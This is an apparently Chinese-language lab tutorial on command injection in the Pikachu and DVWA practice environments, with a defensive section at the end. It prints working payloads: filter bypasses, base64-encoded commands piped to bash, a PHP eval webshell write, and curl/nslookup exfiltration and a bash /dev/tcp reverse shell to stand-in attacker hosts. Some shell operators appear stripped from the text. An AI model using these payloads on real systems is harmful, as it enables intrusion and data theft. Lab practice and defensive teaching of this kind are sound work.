ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

命令注入漏洞实战:Pikachu与DVWA靶场从原理到无回显外带

命令注入漏洞实战:Pikachu与DVWA靶场从原理到无回显外带 命令注入这个漏洞我在靶场里前前后后练了不知道多少遍。它是 Web 安全里最“直接”的一类漏洞——找对了变量、拼对了符号命令就顺着业务代码跑起来了页面上直接就是whoami的输出。我之所以反复强调要练是因为这个漏洞在真实目标上打是有授权前提的没有边界和授权就去碰生产系统那不是技术问题是合规问题。而靶场 Pikachu、DVWA 这些环境就是专门给你练手的打穿了无所谓打崩了重启容器就行。这篇文章会把命令注入从原理到实战完整过一遍。重点放在 Pikachu 和 DVWA 两套本地靶场的实操上包含 Docker 搭建、payload 设计、过滤绕过最后会把无回显命令注入的判定和数据外带思路一起讲掉。适合刚入门 Web 安全、准备系统刷靶场的同学也适合想把手里的命令注入 payload 做一次体系化整理的开发或运维。1. 为什么要在靶场里练命令注入1.1 命令注入到底是什么业务逻辑里的“借刀杀人”命令注入Command Injection的本质是程序把用户输入直接拼进了系统命令里。举个例子一个在线 ping 工具原本要执行ping -c 4 127.0.0.1如果后端代码写的是system(ping -c 4 . $ip)那用户输入就不只是 IP 了。提交127.0.0.1 id之后实际被执行的命令变成了ping -c 4 127.0.0.1 id。前半段可能成功也可能失败但这不重要重要的是后半段id确实被执行了。攻击者拿到的是 Web 服务运行用户的操作权限很多时候就是www-data运气差一点拿到 root那就直接是服务器级别的控制权。这里有个常见误区命令注入不等于代码执行。命令注入打的是操作系统命令解释器比如bash、cmd代码执行打的是编程语言解释器比如 PHP 的eval、Python 的exec。两者相邻但不完全一样Pikachu 靶场把这两类都放在了 RCE 模块里练的时候能明显体会到区别。1.2 靶场练手的安全价值把“破坏欲”关进笼子里命令注入在真实目标上利用起来不难难的是“合法地打”。所以行业里才出现了这么多靶场项目核心价值就一句话给你一个可以随便破坏、随时重置的环境。靶场的优势是三重的。第一是环境可控DVWA、Pikachu 都支持调整漏洞难度等级低等级下你看到的是最朴素的拼接代码中高等级会加入黑名单、参数化等防御练完攻击再切到防御视角理解会深得多。第二是可重复实验打烂了直接docker restart几分钟就恢复这对学漏洞的人来说太重要了。第三是无风险你在靶场里跑rm -rf、写 webshell、反弹 shell都是在隔离环境里完成的不会波及任何真实资产。所以我的建议很明确命令注入这类漏洞第一次动手必须放在靶场里。等你在 Pikachu 上把有回显、无回显、绕过、外带都练熟了再去面对真实渗透测试中的同类场景心态和手速完全不一样。2. 靶场选型和环境搭建2.1 Pikachu、DVWA、WebGoat 怎么选命令注入能练的靶场不少但各自风格差异挺大。我按实战经验做个对比。靶场定位命令注入模块适合人群Pikachu覆盖漏洞种类极广带练习提示RCE 下有 exec 模块直接拼 ping 命令新手入门首选DVWA经典老牌有难度分级Command Injection 模块可调 low/medium/high想对比防御强度的人WebGoatOWASP 官方项目课程式引导偏教学想系统理解漏洞成因的人PortSwigger Web Security Academy在线靶场专业细节多有专门 command injection 关卡且区分盲注进阶刷题如果你只能选一个练命令注入我推荐 Pikachu。因为它把“输入一个 IP 然后后端直接拼命令”这个场景做得很纯粹代码里没有花里胡哨的干扰非常适合第一次接触的人。DVWA 作为补充它的 high 等级会教你认识简单过滤的不足也值得专门刷一遍。另外线上靶场我也提一下TryHackMe、PortSwigger 这类平台上也有专门命令注入的 lab但它们依赖网络和浏览器环境隔离程度不如本地 Docker。本地靶场最大的好处是快一条命令拉起来断网也能练还能直接改源码做自定义实验。提示练靶场之前先把 Docker 装好。Windows 上用 Docker DesktopLinux 直接装 docker.io 即可后面所有部署都基于容器不用在本机污染环境。2.2 Docker 一分钟拉起 Pikachu 靶场Pikachu 是一个开源的 Web 安全教学平台GitHub 仓库地址是zhuifengshaonianhanlu/pikachu。它本身是用 PHP 写的底层需要一个 MySQL 数据库来存用户信息和题目数据。直接clone源码本机跑要么依赖 XAMPP 那套环境要么手动初始化数据库比较麻烦。社区早就有人打包好了 Docker 镜像我这边实测最常用的是下面这条命令docker pull area39/pikachu docker run -d -p 8080:80 --name pikachu area39/pikachu启动之后浏览器访问http://127.0.0.1:8080看到皮卡丘主题的首页就算成了。首页上能找到 RCE 模块点进去就是exec ping和exec eval两个子页面前者就是我们练命令注入的主战场。DVWA 的部署更标准化命令是docker pull vulnerables/web-dvwa docker run -d -p 8081:80 --name dvwa vulnerables/web-dvwaDVWA 第一次访问会引导你到http://127.0.0.1:8081/login.php默认账号admin密码password。登录后先去 DVWA Security 页面把漏洞等级切到 low再去 Command Injection 模块输入框会让你填 IP 地址这就是今天的靶子。2.3 启动失败的常见原因与处理靶场起不来是最常见的第一个坎但基本都能自己排查。我按踩坑频率排个序。端口被占是最典型的。80、8080、8081 这种端口在开发机上经常被别的服务占着解决办法很简单换端口映射就行。8080被占了就-p 8081:80原理不变只是宿主机端口号换一个容器内部的 80 不动。另一个高发情况是容器起来了但页面始终访问不了。先用docker ps -a看状态如果容器 Exited直接看日志docker logs pikachu日志里如果出现 MySQL 相关的报错多半是数据库初始化没完成。最省事的办法是删掉容器重新跑一次因为镜像里的初始化脚本只在第一次启动时执行容器被中途打断很容易卡在半初始化状态。还有一种情况是页面能打开但样式和图片全丢了或提示数据库连不上。Pikachu 的配置文件在inc/config.inc.phpDocker 镜像内部已经配好一般不会出错如果改过源码就要重点看数据库地址是不是localhost容器里应该是db或实际 MySQL 容器的服务名具体以镜像 README 为准。提示在靶场环境里出了问题先重建容器不要花太多时间修环境。我们练的是漏洞利用不是练容器排障。3. 命令注入原理与 Payload 设计3.1 原理拆解一条 ping 命令背后的“执行力”命令注入之所以发生本质是“数据”和“代码”没有分开。用户输入的 IP 是数据拼接进去之后其中的特殊符号、;、|被系统命令解释器当成了代码。先看 Pikachu 底层简化后的 PHP 代码逻辑$ip $_POST[ipaddress]; system(ping -c 4 . $ip);这行代码里没有任何校验直接拿用户输入拼命令。你正常填127.0.0.1系统执行的就是ping -c 4 127.0.0.1你填127.0.0.1 whoami系统执行的是ping -c 4 127.0.0.1 whoami命令解释器看到就知道前面是第一条命令后面是第二条命令于是两条都会跑。从这里就能理解一个原则拼接字符串命令时任何可能被解释为语法的字符都必须被视为不可信输入这也就是为什么防御方案里“白名单校验”优先级最高。3.2 命令拼接符怎么选;|||的区别命令注入第一步就是选拼接符但很多人没搞明白它们的逻辑差异看到什么用什么结果注入跟预期不符。这里我用一条“前命令 ping”和一条“后命令 whoami”来对比说明。拼接符实际含义执行结果;顺序执行不管 ping 成不成功whoami 都会执行前面成功才执行后面ping 成功才执行 whoamiping 失败后面不跑|管道符把 ping 的输出作为 whoami 的输入通常在无回显场景用于转换输出后台执行whoami 在后台跑输出顺序可能不可控实际测试时我会按这个思路走。目标代码如果是ping -c 4 $ip这种必然有回显的结构优先用;和前者最稳后者更符合正常人的逻辑。||在目标命令可能失败时才有用如果你想反着探测也可以故意输入一个非法 IP 让 ping 失败再用||触发后段命令。另外一个很容易踩的坑是 URL 里的。在浏览器地址栏或者 curl 命令里会被解析成 URL 参数分隔符所以直接传127.0.0.1 whoami可能只拿到前半段。解决方法是整个值做 URL 编码%26或者用 curl 的--data-urlencode参数提交。表单提交时浏览器自动编码反而没这个问题这也是 Pikachu 那个输入框用起来更顺手的原因。3.3 过滤器绕过空格、关键字、黑名单逐个击破漏洞代码写出来之后防御方不会束手就擒。DVWA 的 medium 等级会把、;替换成空字符串high 等级甚至会套一个更严格的黑名单。但命令注入的过滤永远有绕过空间这里列几个测试频率最高的手段。空格被过滤时用${IFS}代替空格。IFS 是 shell 内部的字段分隔符默认就包含空格、Tab、换行。所以cat /etc/passwd cat${IFS}/etc/passwd在 bash 里$IFS$9也很常用因为第 9 个位置参数通常为空能把 IFS 和后续内容隔开避免被一起解析。如果连${}都过滤可以考虑 Tab 字符%09。关键字被过滤时最常见的是字符串拼接。比如whoami被拉黑就写成whoami whoami wh$oami双引号和单引号在 shell 里会先被剥离最终执行时还是whoami。这种方式能绕过很多简单strpos黑名单因为黑名单匹配到的是whoami而不是whoami。更通用的方法是 base64 编码整条命令再执行echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash把cat /etc/passwd编码后黑名单里要拦截cat、/etc/passwd都拦不到因为原始字符串里根本没有这些关键词。这招在无回显和防御严格的环境中特别常用我后面实战部分还会再展示。还有一种 Linux 特有的技巧是花括号展开{cat,/etc/passwd}bash会把花括号里的逗号展开成空格。这个方式在目标 shell 是 bash 时有效目标 sh 就不一定了测试前先确认它是什么解释器。提示绕过手段好不好使取决于过滤是怎么写的。简单黑名单用引号拼接就能过正则做得细就要上编码或命令替换。刷 DVWA 的 medium/high 等级本质就是练习“看过滤规则选绕过方式”。4. 实战过程从有回显到无回显4.1 有回显注入逐步打穿 Pikachu RCE 模块有回显的意思是命令执行结果直接显示在页面上。Pikachu 的exec ping模块就是这个类型练起来最直观。我按完整步骤走一遍。打开 Pikachu 首页进入 RCE 模块的exec ping子页面输入框提示“请输入需要ping的地址”。第一步永远是定位目标的操作系统这是后续所有 payload 的基础。Linux 系统验证127.0.0.1 id如果输出里出现uid33(www-data) gid33(www-data)就知道是 Linux 环境当前用户是 www-data。Windows 系统验证则用127.0.0.1 whoami输出样式和 Linux 完全不同一眼就能分辨。Pikachu 这个靶场本身是 Linux 容器所以练的时候以 Linux 视角为主。确认系统后就可以开始系统性地读文件和看权限了127.0.0.1 cat /etc/passwd 127.0.0.1 ls -la /var/www/html如果当前用户权限足够可以直接尝试写 webshell127.0.0.1 echo ?php eval($_POST[cmd]);? /var/www/html/shell.php写完直接访问http://127.0.0.1:8080/shell.php再用蚁剑或者 curl 提交 POST 数据验证curl http://127.0.0.1:8080/shell.php --data-urlencode cmdphpinfo();能输出 phpinfo 页面说明已经拿下了 Web 层权限。整个过程就是命令注入的标准利用链探索系统、读文件、写文件、getshell。4.2 无回显注入的判定用“时间”当眼睛真实渗透里遇到命令注入更多是页面啥也不显示。你拼了whoami进去页面上还是那几个正常结果这时候不能放弃因为命令可能已经执行了只是输出被程序吞掉了。我建议在本地练无回显时先自己构造一个最简单的盲注环境。写一个 PHP 文件blind.php放到 Pikachu 的目录下?php $cmd $_GET[cmd]; $result shell_exec($cmd); // 不输出任何结果模拟无回显场景 ?这就一个去掉回显的漏洞点专门练盲打用。判定命令是否执行最基础的手段是时间延迟cmdsleep 5用 curl 测量响应时间curl -s -o /dev/null -w %{time_total}\n http://127.0.0.1:8080/blind.php?cmdsleep%205如果返回的耗时明显接近 5 秒甚至超过 5 秒就说明sleep确实被执行了。这就是一个可靠的“存在性证明”不用看到输出也能确定漏洞点真实存在且有命令执行能力。时间盲注的价值在于即使目标不出网、不回显、也没有文件写入权限只要它执行了 sleep你就能用一个二值判断继续探测下去。比如sleep $(whoami | wc -c)比较耗时差异就能猜输出长度再逐字符带出内容。这种思路在真正恶劣的条件下救命。4.3 无回显数据外带的三条路确认命令执行之后下一步是把数据拿回来。常见三条路线按适用范围排序。第一条是写文件到 Web 目录再访问。适合能定位到快路径、且 Web 服务有写权限的场景cmdcurl http://127.0.0.1:8080/$(whoami)或者直接写入可访问目录cmdwhoami /var/www/html/out.txt然后浏览器访问http://127.0.0.1:8080/out.txt就能看到内容。第二条是 DNSLog 或 HTTP 外带。如果你有一台公网服务器或者能用第三方 DNSLog 平台就把命令结果拼进请求里送出去cmdcurl http://your-server/$(whoami) cmdnslookup $(whoami).your-dnslog注意目标可能只有 DNS 出站而没有 HTTP 出站所以 DNSLog 往往比 HTTP 回调更通用。这一招的限制也明显目标必须出网内网隔离环境里基本没用。第三条是反弹 shell。最典型的是 bash 反弹cmdbash -i /dev/tcp/attacker-ip/4444 01攻击机上先用nc -lvnp 4444监听目标执行后就能拿到一个交互式 shell。这一步在纯靶场里很合适也能直接验证目标网络出站策略。但我要强调反弹 shell 和 webshell 一样只能在授权靶场里使用别拿这套去碰任何未经授权的系统。三条路的选择逻辑很简单能写文件就写文件不能写就看能不能外带能外带优先 DNS/HTTP都不行就判断是否能反弹 shell。无回显注入练到最后拼的就是这个“穷举可用路径”的能力。4.4 从命令执行到 Getshell完整写入与验证命令注入的最终目的通常是获取一个可持续控制的 shell而不是每条命令重复执行。写入 webshell 是 PHP 站点最常见的方式。这里我要强调一个细节网页目录不一定在/var/www/htmlPikachu 在这个路径是因为镜像 Dockerfile 固定了但真实站点可能是/usr/share/nginx/html、/home/wwwroot等等。写 shell 前先用pwd、find确认站点根目录。写 shell 时也要防过滤。如果输入里不允许出现和直接 echo 会被拦截那就上 base64cmdecho PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4 | base64 -d /var/www/html/shell.php建议你在本机用base64命令生成自己的编码串不要死记硬背我给的这串因为 PHP 版本差异可能导致内容不兼容。写完后的验证用蚁剑、冰蝎都行但初学者我建议先用最小化验证避免工具本身的问题干扰判断curl http://127.0.0.1:8080/shell.php --data-urlencode cmdecho ok;返回ok就说明 shell 可解析、文件路径写对了。之后再用脚本管理器连接彻底拿下。提示所有 getshell 操作在靶场里可以放心做但每次操作完记得清理现场尤其是你在真实授权测试中留下的 shell 文件测试结束后必须删除并还原文件时间戳。5. 常见问题与排查技巧实录5.1 靶场起不来的几个典型原因靶场启动失败这件事我见过太多人卡在第一步。记录几个高频原因和处理方式。现象可能原因排查命令容器启动后立刻 Exited端口冲突或镜像内部脚本异常docker logs pikachu页面长时间打不开数据库未初始化或容器未就绪重新执行docker run8080 端口被占用宿主机其他服务占用了映射端口改映射端口-p 8081:80打开页面 403访问路径不对Pikachu 根据镜像可能要加/pikachu/DVWA 登录后无页面未点击 Create/Reset Database首页先初始化数据库再登录端口冲突是最省心的一个问题因为它压根不是环境坏了就是端口号撞了而已。Docker 的端口映射规则是宿主机端口:容器内端口改左边那个数字就行右边 80 不能动。数据库未初始化这个坑DVWA 体现得最明显。第一次访问 DVWA 会看到数据库设置页面点击创建数据库后跳转到登录页如果你跳过了这个步骤登录进去后页面会报数据库相关错误。Pikachu 镜像通常会内置自动初始化流程但还是值得开容器后看一眼首页有没有报错提示。5.2 命令明明执行了为什么看不到输出这是命令注入新手最困惑的问题。我在前面反复提到就是个典型拼接符用了命令在后台执行Web 页面只拿到了主命令的输出后台命令的结果要么丢了要么乱序。这种情况下改用;、、%0a就能看到。另一种情况是系统环境不同导致输出被吞。比如我实际遇到过 Linux 容器里没有ifconfig命令你拼了ifconfigshell 报command not found页面看起来就像“命令没执行”。这时候要换命令验证Linux 用ip addr、whoami、id都是更稳的选择。还有一种是程序根本没有把输出传给页面。DVWA 的 high 等级或者一些自研代码会把命令执行结果写到日志文件而不是直接输出。这时候哪怕你注入成功页面上也什么都没有。我的排查思路是先不管输出用时间盲注验证命令是否执行。如果sleep生效了再考虑写文件、DNSLog 等外带方式。5.3 外带数据失败的排查无回显注入里payload 看起来没问题但外带就是收不到通常有三个原因。第一个是命令本身执行失败。比如curl不存在或者目标系统只有基础的 busybox 工具没有curl也没有wget。这时候用 bash 原生的/dev/tcp或者 DNS 查询工具来探测。第二个是网络不通。目标处于隔离网段连公网 DNSLog 都出不去。先用ping一个已知 IP 测连通性再用curl -m限制连接超时时间避免命令挂住导致整个请求超时。第三个是编码问题。命令输出里的特殊字符可能破坏 URL 或 DNS 请求格式常见的做法是先 base64 编码再外带cmdcurl http://your-server/$(id | base64 -w0)服务端收到的是一串无歧义的文本解码后再看内容。这一招能解决大多数“特殊字符截断”问题。5.4 一条排查顺序建议我把上面所有经验压缩成一个动作序列应用到任何命令注入场景都能快速定位问题。先确认模块是否真的存在拼接漏洞用sleep做时间盲注再确认目标系统类型和可用命令然后确定回显方式有回显走直接读无回显依次尝试写文件、DNSLog、反弹 shell最后拿到输出或 shell 后立刻验证权限边界。按这个顺序走基本不会在“命令为什么没执行”和“外带为什么没反应”这两个地方浪费超过十分钟。6. 从攻到防怎么堵住命令注入6.1 输入校验到底校验什么防御命令注入的第一原则就是别把用户输入当命令的一部分。最可靠的办法是白名单校验比如 ping 功能只允许 IP 格式那就用正则严格匹配 IPv4 或域名规则不符合的直接拒绝根本不给它进系统命令的机会。常见的 PHP 校验代码长这样$ip $_POST[ipaddress]; if (!filter_var($ip, FILTER_VALIDATE_IP)) { die(Invalid IP); } system(ping -c 4 . $ip);这里的重点是校验不通过就拒绝而不是试图“清理”恶意字符再做拼接。黑名单和清洗永远堵不全因为你可以编码、拼接、用环境变量变体白名单直接把所有非预期输入挡住才是一劳永逸的方案。6.2 参数化命令与最小权限如果业务功能确实需要执行系统命令且输入格式无法完全白名单化那就要从架构层面降低风险。PHP 里可以放弃system、exec、shell_exec、passthru这一族函数改用参数化的进程调用方式。比如用proc_open把命令和参数分开传避免字符串拼接或者调用成熟的库函数让底层框架处理转义。Python 里则是把shellTrue默认关掉用参数列表传参。同时Web 服务运行用户必须是最小权限。很多靶场容器里 www-data 都能写 Web 目录真实生产环境不应该这样。上传目录去掉执行权限Web 用户不能写入代码目录数据库账号只给业务库的最小权限这些措施叠加起来就算攻进去了能做的事也会少很多。另外PHP 的disable_functions配置值得打开。在php.ini里禁用exec、system、shell_exec、passthru、proc_open等函数就能从语言层面直接废掉大量命令注入利用链。很多攻击者 first 步就是列这些函数禁用之后他们可能连/etc/passwd都读不到。6.3 防御思路的本质把用户永远当“不可信对象”命令注入的攻防对抗说到底是一个信任边界问题。开发人员总会下意识觉得“我这里只做 IP 检查用户不会乱填”但漏洞报告里最常出现的恰恰是这种想当然。防守的本质不是把已知攻击手段都列进黑名单而是在代码里建立一个不可跨越的边界。用户输入永远是不可信数据凡是进入命令解释器的内容都必须经过白名单校验凡是涉及系统命令的功能都必须单独审视而不是在业务代码里临时拼一个system()出来。我在实际帮别人代码 review 时看到system、exec这类函数的第一反应就是找输入来源顺着数据流走一遍。如果输入没有任何白名单校验直接拼接那我基本可以断定这个功能存在命令注入。这套判断标准反过来也正是我们刷靶场时该练成的肌肉记忆——看到一个输入点第一件事不是想用什么 payload而是先猜它背后的代码是怎么写的。靶场练到这里再回头看命令注入它其实没有多神秘一个没有校验的输入点一条被拼接的命令中间隔着的只是你对 shell 语法、过滤机制和系统命令的熟悉程度。最后分享一个我的个人习惯每次在靶场里打完命令注入我都会顺手把当时的 payload 按“有回显/无回显/被过滤”三个维度记进自己的笔记。下次遇到相似场景翻出来直接用效率高很多。你练得多了也会发现命令注入的 payload 来来去去就那么几十条真正值钱的不是背下了它们而是你知道在什么条件下该挑哪一条。
返回列表